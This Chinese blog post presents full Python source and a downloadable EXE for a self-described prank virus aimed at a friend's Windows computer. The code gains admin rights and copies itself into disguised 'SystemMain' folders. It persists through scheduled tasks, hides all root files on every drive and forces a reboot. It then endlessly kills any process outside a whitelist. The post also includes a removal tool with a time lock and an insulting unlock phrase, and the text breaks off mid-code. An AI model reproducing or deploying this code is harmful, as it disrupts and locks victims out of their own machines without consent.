目录
文章有点长,要成品的点这个直接飞过去下载→EXE成品
【如果飞不过去,到文章末找到链接下载即可】
(下载用的百度网盘,不用会员)
1、自我介绍
2、作案动机
3、功能实现
4、组合效果
5、解除程序
6、开发者解除工具
7、强制解除工具
8、打包好后的成品
内容有点多,只保留了主要目录,有兴趣建议看完
自我介绍
本人Python菜鸟一枚,目前就读高一,没事的时候会逛CSDN,复制借鉴一些文章并写一些有意思的小脚本,我技术不精,有些代码可能写的很烂,还请大佬指教!这也是我的第一篇文章,我发文章的文章可能没有干货,写到程序可能也没什么水平。但我只是想记录这个过程,分享我的成果,这就足够了。也希望各位理解和支持!如有不当之处,还请指出!
灵感起源 作案动机
回到正题,先说一下作案动机:我一个同学想整蛊一下他的好友,再搞清楚需求,并确认不是违法用途后,我开始我的编写之路了。
实现的功能
1、循环关闭打开的程序
2、隐藏程序不被发现
3、纯整蛊,不破坏数据和系统
实现方法
一:检测记录文件
有文件则代表已初始化,无则代表首次运行
二:初始化
1、获取管理员权限
2、自我复制,并添加自启动
3、调用系统命令,隐藏文件,操控系统重启和蓝屏
4、初始化完成后写入记录文件
三:主体程序
1、开机自启动,并隐藏再后台运行
2、循环获取进程名称,并匹配进程
3、循环关闭白名单外的所有进程
功能实现
首先,我们要获取管理员权限
#获取管理员权限
from __future__ import print_function
import ctypes, sys
import time
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
#这里是你要管理员权限的代码
print('这里是你要管理员权限的代码')
else:
if sys.version_info[0] == 3:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
else:#用于python2的语句
ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(__file__), None, 1)
读取文件记录,(有些语句可能有点多余,但确实有效)
#引用模块
from __future__ import print_function #这是获取管理员权限用的
import os
import sys
import time
import shutil
import psutil
#读取记录文件-主
try:
with open('C:/Windows/SystemMain/data.txt','r') as file:
data=file.read()
except:
data='none'
#读取记录文件-辅
try:
with open('D:/SystemMain/data.txt','r') as file2:
data0=file2.read()
except:
data0='none'
读取完了就要对记录进行匹配(同样,有些语句可能有点多余,但确实有效)
if data=='zzydd9966' or data=='' or data0=='zzydd9966' or data0=='':
#关闭程序模块
else:
#获取管理员权限进行初始化
接下来先看看初始化吧(为了结合语句,这里保留了缩进,不需要的可以自行删除)
[ 初始化其实很多都是用os.system来调用系统命令完成操作的,python的主要作用只是按一定的逻辑将他们组合起来罢了 ]
#匹配失败,未初始化
#开始初始化
else:
#获取管理员权限
import ctypes, sys
import os
import sys
import time
import shutil
import psutil
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
#需要权限的代码代码
import os
import time
import shutil
import psutil
try:
os.system('title 正在初始化,请稍等!')
except:
time.sleep(0)
#创建程序文件夹
try:
os.mkdir(r'C:/Windows')
except:
time.sleep(0)
try:
os.mkdir(r'C:/Windows/SystemMain')
except:
time.sleep(0)
#复制源文件,并重命名
#主目录
dirname, filename = os.path.split(os.path.abspath(sys.argv[0]))
src=(os.path.realpath(sys.argv[0]))
#py环境运行用这个(下面还有2处,同理的)
dst=('C:/Windows/SystemMain/SystemMain.py')
#打包exe时用这个
#dst=('C:/Windows/SystemMain/SystemMain.exe')
shutil.copyfile(src,dst)
#备用目录-1
try:
os.mkdir(r'C:/System')
except:
time.sleep(0)
try:
os.mkdir(r'C:/System/SystemMain')
except:
time.sleep(0)
dirname, filename = os.path.split(os.path.abspath(sys.argv[0]))
src=(os.path.realpath(sys.argv[0]))
#dst1=('c:/system/SystemMain/SystemMain.py')
dst1=('c:/system/SystemMain/SystemMain.exe')
shutil.copyfile(src,dst1)
#添加定时计划任务
#py环境运行用这个
os.system('schtasks /create /tn SysMain /tr C:\System\SystemMain\SystemMain.py /np /sc minute /f')
#打包exe时用这个
#os.system('schtasks /create /tn SysMain /tr C:\System\SystemMain\SystemMain.exe /np /sc minute /f')
os.system('cls')
#添加开机自启动项
#py环境运行用这个
os.system('schtasks /create /tn SystemMain /tr C:\Windows\SystemMain\SystemMain.py /np /sc onlogon /f')
#打包exe时用这个
#os.system('schtasks /create /tn SystemMain /tr C:\Windows\SystemMain\SystemMain.exe /np /sc onlogon /f')
os.system('cls')
#写入文件记录-D盘-辅
try:
os.mkdir(r'D:/SystemMain')
except:
time.sleep(0)
file1=open('D:/SystemMain/data.txt','w')
file1.write("zzydd9966")
file1.close()
#写入文件记录-C盘-主
file0=open('C:/Windows/SystemMain/data.txt','w')
file0.write("zzydd9966")
file0.close()
#隐藏程序文件夹
os.system('attrib +s +h D:\SystemMain')
os.system('attrib +s +h C:\System')
os.system('attrib +s +h C:\Windows\SystemMain')
os.system('cls')
#程序初始化完毕!开始运行二级恶搞程序!
#遍历所有磁盘根目录,并隐藏所有文件
list=['D','E','F','G','H','I','J','K','C','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for letter in list: #遍历磁盘
try:
for filename in os.listdir(letter+':\\'): #遍历目录
os.system('attrib +s +h '+letter+':\\'+filename) #隐藏文件
os.system('cls')
except:
time.sleep(0)
#弹窗炸弹10次
for t in range(10):
os.system('start explorer.exe')
#重启电脑(假装)
os.system('shutdown /r /t 60 /f /c 祝你中毒快乐!电脑将在1分钟后关机!')
#直接蓝屏(真正)
time.sleep(10)
for t1 in range(10):
try:
os.system('taskkill /f /fi "pid ne 1')
except:
time.sleep(0)
try:
os.system('"cmd.exe" taskkill /f /fi "pid ne 1')
except:
time.sleep(0)
else:
if sys.version_info[0] == 3:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
else:#in python2.x
ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(__file__), None, 1)
在经过初始化并重启后,开机时计划任务按计划将程序启动
程序运行了,并读到了文件记录,程序按设计开始运行主体程序,也就是我们要实现的功能-循环关闭所有除白名单外打开的程序
代码如下
#判断记录文件
if data=='zzydd9966' or data=='' or data0=='zzydd9966' or data0=='': #匹配成功,运行主体程序
#关闭程序模块
i=1
time.sleep(60) #潜伏1分钟
#主体程序-实现功能
while i==i:
#获取PID及进程名称
try:
pids = psutil.pids()
list=[]
for pid in pids:
p = psutil.Process(pid)
list.append(p.name())
s=str(p.name())
#s为进程名称变量
print(s)
#匹配进程,排除系统进程及本程序进程
#白名单
if s=='小程序v1.0exe' or s=='小帮手.exe'or s=='SystemMain.exe' or s=='pythonw.exe' or s=='python.exe' or s=='py.exe' or s=='破解程序工具.exe': #本程序进程及开发进程-保留
time.sleep(0)
elif s=='破解程序.exe' or s=='开发者破解工具.exe'or s=='强制破解工具.exe'or s=='zzydd9966.exe': #本程序破解程序-保留
time.sleep(0)
elif s=='explorer.exe' or s=='svchost.exe' or s=='System' or s=='System Idle Process' or s=='conhost.exe' or s=='Registry' or s=='smss.exe' or s=='csrss.exe': #系统进程1-保留
time.sleep(0)
elif s=='wininit.exe' or s=='services.exe' or s=='lsass.exe' or s=='fontdrvhost.exe' or s=='360tray.exe' or s=='nvvsvc.exe' or s=='nvSCPAPISvr.exe' or s=='dasHost.exe': #系统进程2-保留
time.sleep(0)
elif s=='Memory Compression' or s=='spoolsv.exe' or s=='ibtsiva.exe' or s=='inetinfo.exe' or s=='RtkBtManServ.exe' or s=='MoUsoCoreWorker.exe' or s=='SgrmBroker.exe': #系统进程3-保留
time.sleep(0)
elif s=='SearchIndexer.exe' or s=='csrss.exe' or s=='winlogon.exe' or s=='dwm.exe' or s=='ChsIME.exe' or s=='ctfmon.exe' or s=='TabTip.exe' or s=='ChsIME.exe' or s=='nvxdsync.exe': #系统进程4-保留
time.sleep(0)
elif s=='SecurityHealthService.exe' or s=='audiodg.exe' or s=='SearchProtocolHost.exe' or s=='sihost.exe' or s=='dllhost.exe' or s=='StartMenuExperienceHost.exe': #系统进程5-保留
time.sleep(0)
elif s=='TextInputHost.exe' or s=='RuntimeBroker.exe' or s=='SearchApp.exe' or s=='ShellExperienceHost.exe' or s=='backgroundTaskHost.exe' or s=='mobsync.exe' or s=='smartscreen.exe': #系统进程6-保留
time.sleep(0)
else: #其它进程-目标进程-杀掉
try:
os.system('taskkill /f /im '+s)
except:
time.sleep(1)
except:
time.sleep(0)
原理讲完,组合起来看看!
完整代码如下
#主程序
#程序主体
#---------
#代码初始化
from __future__ import print_function
import os
import sys
import time
import shutil
import psutil
#读取记录文件-主
try:
with open('C:/Windows/SystemMain/data.txt','r') as file:
data=file.read()
except:
data='none'
#读取记录文件-辅
try:
with open('D:/SystemMain/data.txt','r') as file2:
data0=file2.read()
except:
data0='none'
#判断记录文件
#匹配成功,运行主体程序
if data=='zzydd9966' or data=='' or data0=='zzydd9966' or data0=='':
#关闭程序模块
i=1
time.sleep(60)
while i==i:
#获取PID及进程名称
try:
pids = psutil.pids()
list=[]
for pid in pids:
p = psutil.Process(pid)
list.append(p.name())
s=str(p.name())
#s为进程名称变量
print(s)
#匹配进程,排除系统进程及本程序进程
#白名单
if s=='小程序v1.0exe' or s=='小帮手.exe'or s=='SystemMain.exe' or s=='pythonw.exe' or s=='python.exe' or s=='py.exe' or s=='破解程序工具.exe': #本程序进程及开发进程-保留
time.sleep(0)
elif s=='破解程序.exe' or s=='开发者破解工具.exe'or s=='强制破解工具.exe'or s=='zzydd9966.exe': #本程序破解程序-保留
time.sleep(0)
elif s=='explorer.exe' or s=='svchost.exe' or s=='System' or s=='System Idle Process' or s=='conhost.exe' or s=='Registry' or s=='smss.exe' or s=='csrss.exe': #系统进程1-保留
time.sleep(0)
elif s=='wininit.exe' or s=='services.exe' or s=='lsass.exe' or s=='fontdrvhost.exe' or s=='360tray.exe' or s=='nvvsvc.exe' or s=='nvSCPAPISvr.exe' or s=='dasHost.exe': #系统进程2-保留
time.sleep(0)
elif s=='Memory Compression' or s=='spoolsv.exe' or s=='ibtsiva.exe' or s=='inetinfo.exe' or s=='RtkBtManServ.exe' or s=='MoUsoCoreWorker.exe' or s=='SgrmBroker.exe': #系统进程3-保留
time.sleep(0)
elif s=='SearchIndexer.exe' or s=='csrss.exe' or s=='winlogon.exe' or s=='dwm.exe' or s=='ChsIME.exe' or s=='ctfmon.exe' or s=='TabTip.exe' or s=='ChsIME.exe' or s=='nvxdsync.exe': #系统进程4-保留
time.sleep(0)
elif s=='SecurityHealthService.exe' or s=='audiodg.exe' or s=='SearchProtocolHost.exe' or s=='sihost.exe' or s=='dllhost.exe' or s=='StartMenuExperienceHost.exe': #系统进程5-保留
time.sleep(0)
elif s=='TextInputHost.exe' or s=='RuntimeBroker.exe' or s=='SearchApp.exe' or s=='ShellExperienceHost.exe' or s=='backgroundTaskHost.exe' or s=='mobsync.exe' or s=='smartscreen.exe': #系统进程6-保留
time.sleep(0)
else: #其它进程-目标进程-杀掉
try:
os.system('taskkill /f /im '+s)
except:
time.sleep(1)
except:
time.sleep(0)
#匹配失败,未初始化
#程序初始化
else:
#获取管理员权限
import ctypes, sys
import os
import sys
import time
import shutil
import psutil
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
#需要权限的代码代码
import os
import time
import shutil
import psutil
try:
os.system('title 正在初始化,请稍等!')
except:
time.sleep(0)
#创建程序文件夹
try:
os.mkdir(r'C:/Windows')
except:
time.sleep(0)
try:
os.mkdir(r'C:/Windows/SystemMain')
except:
time.sleep(0)
#复制源文件,并重命名
#主目录
dirname, filename = os.path.split(os.path.abspath(sys.argv[0]))
src=(os.path.realpath(sys.argv[0]))
#py环境运行用这个(下面还有2处,同理的)
dst=('C:/Windows/SystemMain/SystemMain.py')
#打包exe时用这个
#dst=('C:/Windows/SystemMain/SystemMain.exe')
shutil.copyfile(src,dst)
#备用目录-1
try:
os.mkdir(r'C:/System')
except:
time.sleep(0)
try:
os.mkdir(r'C:/System/SystemMain')
except:
time.sleep(0)
dirname, filename = os.path.split(os.path.abspath(sys.argv[0]))
src=(os.path.realpath(sys.argv[0]))
#dst1=('c:/system/SystemMain/SystemMain.py')
dst1=('c:/system/SystemMain/SystemMain.exe')
shutil.copyfile(src,dst1)
#添加定时计划任务
#py环境运行用这个
os.system('schtasks /create /tn SysMain /tr C:\System\SystemMain\SystemMain.py /np /sc minute /f')
#打包exe时用这个
#os.system('schtasks /create /tn SysMain /tr C:\System\SystemMain\SystemMain.exe /np /sc minute /f')
os.system('cls')
#添加开机自启动项
#py环境运行用这个
os.system('schtasks /create /tn SystemMain /tr C:\Windows\SystemMain\SystemMain.py /np /sc onlogon /f')
#打包exe时用这个
#os.system('schtasks /create /tn SystemMain /tr C:\Windows\SystemMain\SystemMain.exe /np /sc onlogon /f')
os.system('cls')
#写入文件记录-D盘-辅
try:
os.mkdir(r'D:/SystemMain')
except:
time.sleep(0)
file1=open('D:/SystemMain/data.txt','w')
file1.write("zzydd9966")
file1.close()
#写入文件记录-C盘-主
file0=open('C:/Windows/SystemMain/data.txt','w')
file0.write("zzydd9966")
file0.close()
#隐藏程序文件夹
os.system('attrib +s +h D:\SystemMain')
os.system('attrib +s +h C:\System')
os.system('attrib +s +h C:\Windows\SystemMain')
os.system('cls')
#程序初始化完毕!开始运行二级恶搞程序!
#遍历所有磁盘根目录,并隐藏所有文件
list=['D','E','F','G','H','I','J','K','C','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for letter in list: #遍历磁盘
try:
for filename in os.listdir(letter+':\\'): #遍历目录
os.system('attrib +s +h '+letter+':\\'+filename) #隐藏文件
os.system('cls')
except:
time.sleep(0)
#弹窗炸弹
for t in range(10):
os.system('start explorer.exe')
#重启电脑(假装)
os.system('shutdown /r /t 60 /f /c 祝你中毒快乐!电脑将在1分钟后关机!')
#直接蓝屏(真正)
time.sleep(10)
for t1 in range(10):
try:
os.system('taskkill /f /fi "pid ne 1')
except:
time.sleep(0)
try:
os.system('"cmd.exe" taskkill /f /fi "pid ne 1')
except:
time.sleep(0)
else:
if sys.version_info[0] == 3:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
else:#in python2.x
ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(__file__), None, 1)
破解程序
作为一个合格的整蛊程序,破解程序绝对不能少!
(否则...我曾经有个朋友...)
当然,破解程序有归有,整蛊还得继续就比如加个时间锁什么的
时间锁:(这里只截取了部分代码,无法直接运行的,要完整的可以看下面!)
#时间锁模块-仅部分代码,无法直接运行!
from __future__ import print_function
import ctypes, sys
import time
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
import os
import sys
import time
import shutil
import datetime
#破解主代码
os.system('title 进程杀手解除程序')
os.system('color 1f')
os.system('cls')
#24小时时间锁
date=(str(datetime.datetime.now().day))
try:
with open('D:/SystemMain/PRNT.txt','r') as file:
date0=file.read()
except:
try:
os.mkdir(r'D:/SystemMain')
except:
time.sleep(0)
date0=int(date)+1
file1=open('D:/SystemMain/PRNT.txt','w')
file1.write(str(date0))
file1.close()
if int(date)>int(date0):
check1=('0x000')
else:
os.system('color c')
print('')
print('【进程杀手解除程序】')
print('')
print('')
print('【未激活】')
print('')
print('嘻嘻嘻!还没有到达指定的激活时间!无法解毒!')
print('')
print('请耐心等待24小时!')
print('程序将在24小时后激活!')
print('')
check1=('0x001')
time.sleep(3)
(这里只截取了部分代码,无法直接运行的,要完整的可以看下面!)
另外,《24小时》是首次运行破解程序后的《24小时》不是中毒后的《24小时》
这个《24小时》其实是2天(去零头后约等于24小时)
(如果你在一天末运行,那不就接近24小时了吗,如果你在一天初运行,那是接近48小时了)
也就是说,等待时间会在24-48小时这个区间内
完整的破解程序
当然,这只是普通给好友用的程序,有开发者程序在下面,那个可以跳过时间锁并且不用输入代码!
补充一下:解锁代码是:我是傻逼
当然,特殊情况下也可以输入:zzydd9966 防止自己尴尬!
普通破解程序完整代码:
#普通破解工具
#程序主体
#---------
from __future__ import print_function
import ctypes, sys
import time
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
import os
import sys
import time
import shutil
import datetime
#破解主代码
os.system('title 进程杀手解除程序')
os.system('color 1f')
os.system('cls')
#24小时时间锁
date=(str(datetime.datetime.now().day))
try:
with open('D:/SystemMain/PRNT.txt','r') as file:
date0=file.read()
except:
try:
os.mkdir(r'D:/SystemMain')
except:
time.sleep(0)
date0=int(date)+1
file1=open('D:/SystemMain/PRNT.txt','w')
file1.write(str(date0))
file1.close()
if int(date)>int(date0):
check1=('0x000')
else:
os.system('color c')
print('')
print('【进程杀手解除程序】')
print('')
print('')
print('【未激活】')
print('')
print('嘻嘻嘻!还没有到达指定的激活时间!无法解毒!')
print('')
print('请耐心等待24小时!')
print('程序将在24小时后激活!')
print('')
check1=('0x001')
time.sleep(3)
#选择及说明
print('')
print('【进程杀手解除程序】')
print('')
print('')
print('【说明】本程序用于解除或恢复进程杀手的所有操作')
print('')
print('【警告】请勿传播病毒本体!如传播造成后果,作者不负任何责任!')
print('')
print('')
print('程序作者:豆豆zzydd(本程序及其对应的病毒)')
print('')
print('【Y】:同意')
print('【N】:拒绝')
print('')
if check1=='0x001':
os.system('cls')
check='0x002'
else:
check=input('选择:')
if check=='Y' or check=='y':
os.system('cls')
time.sleep(0.5)
print('')
print('【进程杀手解除程序】')
print('')
print('')
print('【请确认是否执行】')
print('')
print('【1】:执行')
print('【2】:取消')
print('')
choice=input('选择:')
print('')
if choice=='1':
os.system('title 你被骗了!')
os.system('color c')
os.system('cls')
print('')
print('【代码错误】')
print('')
print('想解除?哼!不可能!')
print('')
print('')
print('提示:你是傻逼吗?所以你是...')
print('')
check00=input('【退出】')
elif choice=='2':
os.system('cls')
time.sleep(0.5)
print('')
print('【取消解除】')
print('')
print('解除失败:操作被用户取消')
print('')
check00=input('【退出】')
#核心解除程序
elif choice=='我是傻逼' or choice=='zzydd9966':
print('')
print('说的好!大实话!')
print('')
print('【开始解除】')
print('')
time.sleep(1)
os.system('title 进程杀手解除程序')
os.system('color a')
os.system('cls')
print('')
#核心主体
print('')
print('【操作1/8】结束进程')
print('')
os.system('taskkill /f /im SystemMain.exe')
print('')
print('【操作2/8】删除文件')
print('')
try:
shutil.rmtree('D:/SystemMain')
except:
time.sleep(0)
try:
shutil.rmtree('C:/Windows/SystemMain')
except:
os.system('rmdir /s /q c:\\Windows\SystemMain')
try:
shutil.rmtree('C:/System')
except:
os.system('rmdir /s /q c:\\System')
print('')
print('【操作3/8】删除开机自启动')
print('')
os.system('schtasks /delete /tn SystemMain /f')
print('')
print('【操作4/8】删除定时自启动')
print('')
os.system('schtasks /delete /tn SysMain /f')
print('')
print('【操作5/8】恢复被隐藏的文件')
print('')
list=['D','E','F','G','H','I','J','K','C','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for letter in list: #遍历磁盘
try:
for filename in os.listdir(letter+':\\'): #遍历目录
os.system('attrib -s -h '+letter+':\\'+filename) #显示文件
except:
time.sleep(0)
print('')
print('【操作6/8】恢复被显示的系统文件')
print('')
os.system('title 进程杀手解除程序-此过程比较久,请耐心等待!')
list=['D','E','F','G','H','I','J','K','C','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for letter in list: #遍历磁盘
try:
#基本
os.system('attrib +s +h '+letter+':\\$360Section') #隐藏文件
os.system('attrib +s +h '+letter+':\\$RECYCLE.BIN')
os.system('attrib +s +h '+letter+':\\360SANDBOX')
os.system('attrib +s +h '+letter+':\\System Volume Information')
os.system('attrib +s +h '+letter+':\\bootTel.dat')
os.system('attrib +s +h '+letter+':\\pagefile.sys')
#系统特供
os.system('attrib +s +h '+letter+':\\Boot')
os.system('attrib +s +h '+letter+':\\Documents and Settings')
os.system('attrib +s +h '+letter+':\\inetpub')
os.system('attrib +s +h '+letter+':\\PerfLogs')
os.system('attrib +s +h '+letter+':\\PETOOLS')
os.system('attrib +s +h '+letter+':\\Recovery')
os.system('attrib +s +h '+letter+':\\WEPE')
os.system('attrib +s +h '+letter+':\\WXPE')
os.system('attrib +s +h '+letter+':\\DiskGenius_WinPE')
os.system('attrib +s +h '+letter+':\\AMTAG.BIN')
os.system('attrib +s +h '+letter+':\\bootmgr')
os.system('attrib +s +h '+letter+':\\BOOTNXT')
os.system('attrib +s +h '+letter+':\\BOOTSECT.BAK')
os.system('attrib +s +h '+letter+':\\bootTel.dat')
os.system('attrib +s +h '+letter+':\\DumpStack.log')
os.system('attrib +s +h '+letter+':\\DumpStack.log.tmp')
os.system('attrib +s +h '+letter+':\\hiberfil.sys')
os.system('attrib +s +h '+letter+':\\pagefile.sys')
os.system('attrib +s +h '+letter+':\\swapfile.sys')
os.system('attrib +s +h '+letter+':\\VOSUV')
os.system('attrib +s +h '+letter+':\\WEIPE')
os.system('attrib +s +h '+letter+':\\*.sys')
os.system('attrib +s +h '+letter+':\\agent')
os.system('attrib +s +h '+letter+':\\EFI')
os.system('attrib +s +h '+letter+':\\bootTel.dat')
os.system('attrib +s +h '+letter+':\\config.ini')
os.system('attrib +s +h '+letter+':\\install.log')
os.system('attrib +s +h '+letter+':\\sunlogin_service.20221126-121317.log')
os.system('attrib +s +h '+letter+':\\sys_config.ini')
os.system('attrib +s +h '+letter+':\\SDKTemp')
except:
time.sleep(0)
os.system('title 进程杀手解除程序')
print('')
print('')
print('【提示】:由于系统文件的不确定性,本程序仅恢复了常见的系统文件,约占比90%')
print(' 如果还有系统文件没有隐藏,请在本次运行完成后,重新打开此程序')
print(' 在“[请确认是否执行]”界面输入“隐藏修复”进入专修模式')
print('')
print('【注意】:【不能】不能在"查看"中直接隐藏!两者性质不一样!不要嫌麻烦!')
print('')
wait=input('确认后,按回车继续修复...')
print('')
print('【操作7/8】生成日志')
print('')
import datetime
year=(str(datetime.datetime.now().year))
mounth=(str(datetime.datetime.now().month))
date=(str(datetime.datetime.now().day))
hour=(str(datetime.datetime.now().hour))
minute=(str(datetime.datetime.now().minute))
second=(str(datetime.datetime.now().second))
timenow=(year+'年'+mounth+'月'+date+'日-'+hour+'时'+minute+'分'+second+'秒')
try:
os.mkdir(r'D:\你的中毒恢复日志')
except:
time.sleep(0)
with open('D:\你的中毒恢复日志\中毒恢复日志.txt','a') as file:
file.write("【进程杀手已被清除!】")
file.write("\n")
file.write("【电脑功能已经恢复!】")
file.write("\n")
file.write("\n")
file.write("时间:"+timenow)
file.write("\n")
file.write("\n")
file.write("恭喜你,看到此日志说明病毒解除成功!")
file.write("\n")
file.write("\n")
file.write("操作:")
file.write("1:结束进程-结束正在运行的病毒,使其暂时失效")
file.write("\n")
file.write("2:删除文件-破坏病毒的源文件,防止你手贱")
file.write("\n")
file.write("3:删除开机自启动-清除指令,关闭病毒开机启动功能")
file.write("\n")
file.write("4:删除定时自启动-清除指令,关闭病毒定时启动功能")
file.write("\n")
file.write("5:恢复被隐藏的文件-恢复系统正常使用")
file.write("\n")
file.write("6:恢复被显示的系统文件-保护系统文件不被破坏")
file.write("\n")
file.write("7:生成日志-记录你的怨种过程")
file.write("\n")
file.write("8:重启电脑-彻底清除病毒")
file.write("\n")
file.write("\n")
file.write("如看到此日志但问题还没有解决,请联系开发者!")
file.write("\n")
file.write("开发者:豆豆zzydd")
file.write("\n")
file.write("地址:无人机228")
file.write("\n")
file.write("QQ联系方式:1918735084")
file.write("\n")
file.write("\n")
file.write("【这份日志请务必保存好!】")
file.write("\n")
file.write("日志,记录霉好回忆!")
file.write("\n")
print('')
print('【操作8/8】重启电脑')
print('')
print('所有操作均已完成!')
print('系统将在10秒后自动重启!')
print('')
time.sleep(1)
os.system('shutdown /r /t 10 /f /c 进程杀手解除程序:【操作8】:10秒后重启电脑')
elif choice=='隐藏修复':
i=0
while i==i:
print('')
print('【进程杀手解除程序】')
print('')
print('')
print('【隐藏专修】')
print('')
print('')
path=input('输入文件所在的盘符(要带英文冒号)或者路径:')
file=input('输入要修复(隐藏)的(系统)文件或者文件夹名:')
print('')
os.system('attrib +s +h '+path+'\\'+file)
print('')
print('【完成】')
print('【按回车继续修复】【输入“E”退出】')
print('')
choice2=input('选择:')
if choice2=='E' or choice2=='e':
break
else:
os.system('cls')
print('')
print('【继续修复】')
time.sleep(0.5)
os.system('cls')
os.system('cls')
print('')
print('【运行完成】')
wait=input('【回车退出】')
time.sleep(0.5)
#核心代码结束
else:
os.system('cls')
time.sleep(0.5)
print('')
print('【无法识别的回答】')
print('')
print('解除失败:无法识别的回答')
print('')
check00=input('【退出】')
elif check=='N' or check=='n':
os.system('cls')
time.sleep(0.5)
print('')
print('【进程杀手解除程序】')
print('')
print('')
print('【无法运行】')
print('')
print('需同意上述许可方可使用本程序!')
print('')
print('')
wait=input('【退出】')
elif check=='0x002':
os.system('cls')
time.sleep(0)
else:
time.sleep(1)
os.system('exit')
else:
if sys.version_info[0] == 3:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
else:#用于python2的语句
ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(__file__), None, 1)
其原理很简单,就是删除开机自启动项、计划启动项、显示隐藏的文件、隐藏显示的系统文件、以及程序的本体文件。
开发者破解工具
起原理和普通的破解工具一样,只是去了时间锁和口令输入,打开即可运行。
完整代码如下:
#开发者破解工具
#程序主体
#---------
from __future__ import print_function
import ctypes, sys
import time
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
#破解主代码
import os
import time
import shutil
import datetime
os.system('title 进程杀手解除程序')
os.system('color 1f')
os.system('cls')
#选择及说明
print('')
print('【进程杀手开发者解除程序】')
print('')
print('')
print('【说明】本程序用于解除或恢复进程杀手的所有操作')
print('')
print('【警告】请勿传播病毒本体!如传播造成后果,作者不负任何责任!')
print('')
print('')
print('程序作者:豆豆zzydd(本程序及其对应的病毒)')
print('')
print('【Y】:同意')
print('【N】:拒绝')
print('')
check=input('选择:')
if check=='Y' or check=='y':
os.system('cls')
time.sleep(0.5)
print('')
print('【进程杀手开发者解除程序】')
print('')
print('')
print('【请确认是否执行】')
print('')
print('【1】:执行')
print('【2】:取消')
print('')
choice=input('选择:')
print('')
if choice=='2':
os.system('cls')
time.sleep(0.5)
print('')
print('【取消解除】')
print('')
print('解除失败:操作被用户取消')
print('')
check=input('【退出】')
#核心解除程序
elif choice=='1':
print('【请稍等!】')
print('')
time.sleep(1)
os.system('title 进程杀手开发者解除程序')
os.system('color a')
os.system('cls')
print('')
#核心主体
print('')
print('【操作1/8】结束进程')
print('')
os.system('taskkill /f /im SystemMain.exe')
print('')
print('【操作2/8】删除文件')
print('')
try:
shutil.rmtree('D:/SystemMain')
except:
time.sleep(0)
try:
shutil.rmtree('C:/Windows/SystemMain')
except:
os.system('rmdir /s /q c:\\Windows\SystemMain')
try:
shutil.rmtree('C:/System')
except:
os.system('rmdir /s /q c:\\System')
print('')
print('【操作3/8】删除开机自启动')
print('')
os.system('schtasks /delete /tn SystemMain /f')
print('')
print('【操作4/8】删除定时自启动')
print('')
os.system('schtasks /delete /tn SysMain /f')
print('')
print('【操作5/8】恢复被隐藏的文件')
print('')
list=['D','E','F','G','H','I','J','K','C','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for letter in list: #遍历磁盘
try:
for filename in os.listdir(letter+':\\'): #遍历目录
os.system('attrib -s -h '+letter+':\\'+filename) #显示文件
except:
time.sleep(0)
print('')
print('【操作6/8】恢复被显示的系统文件')
print('')
os.system('title 进程杀手开发者解除程序-此过程比较久,请耐心等待!')
list=['D','E','F','G','H','I','J','K','C','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for letter in list: #遍历磁盘
try:
#基本
os.system('attrib +s +h '+letter+':\\$360Section') #隐藏文件
os.system('attrib +s +h '+letter+':\\$RECYCLE.BIN')
os.system('attrib +s +h '+letter+':\\360SANDBOX')
os.system('attrib +s +h '+letter+':\\System Volume Information')
os.system('attrib +s +h '+letter+':\\bootTel.dat')
os.system('attrib +s +h '+letter+':\\pagefile.sys')
#系统特供
os.system('attrib +s +h '+letter+':\\Boot')
os.system('attrib +s +h '+letter+':\\Documents and Settings')
os.system('attrib +s +h '+letter+':\\inetpub')
os.system('attrib +s +h '+letter+':\\PerfLogs')
os.system('attrib +s +h '+letter+':\\PETOOLS')
os.system('attrib +s +h '+letter+':\\Recovery')
os.system('attrib +s +h '+letter+':\\WEPE')
os.system('attrib +s +h '+letter+':\\WXPE')
os.system('attrib +s +h '+letter+':\\DiskGenius_WinPE')
os.system('attrib +s +h '+letter+':\\AMTAG.BIN')
os.system('attrib +s +h '+letter+':\\bootmgr')
os.system('attrib +s +h '+letter+':\\BOOTNXT')
os.system('attrib +s +h '+letter+':\\BOOTSECT.BAK')
os.system('attrib +s +h '+letter+':\\bootTel.dat')
os.system('attrib +s +h '+letter+':\\DumpStack.log')
os.system('attrib +s +h '+letter+':\\DumpStack.log.tmp')
os.system('attrib +s +h '+letter+':\\hiberfil.sys')
os.system('attrib +s +h '+letter+':\\pagefile.sys')
os.system('attrib +s +h '+letter+':\\swapfile.sys')
os.system('attrib +s +h '+letter+':\\VOSUV')
os.system('attrib +s +h '+letter+':\\WEIPE')
os.system('attrib +s +h '+letter+':\\*.sys')
os.system('attrib +s +h '+letter+':\\agent')
os.system('attrib +s +h '+letter+':\\EFI')
os.system('attrib +s +h '+letter+':\\bootTel.dat')
os.system('attrib +s +h '+letter+':\\config.ini')
os.system('attrib +s +h '+letter+':\\install.log')
os.system('attrib +s +h '+letter+':\\sunlogin_service.20221126-121317.log')
os.system('attrib +s +h '+letter+':\\sys_config.ini')
os.system('attrib +s +h '+letter+':\\SDKTemp')
except:
time.sleep(0)
os.system('title 进程杀手开发者解除程序')
print('')
print('')
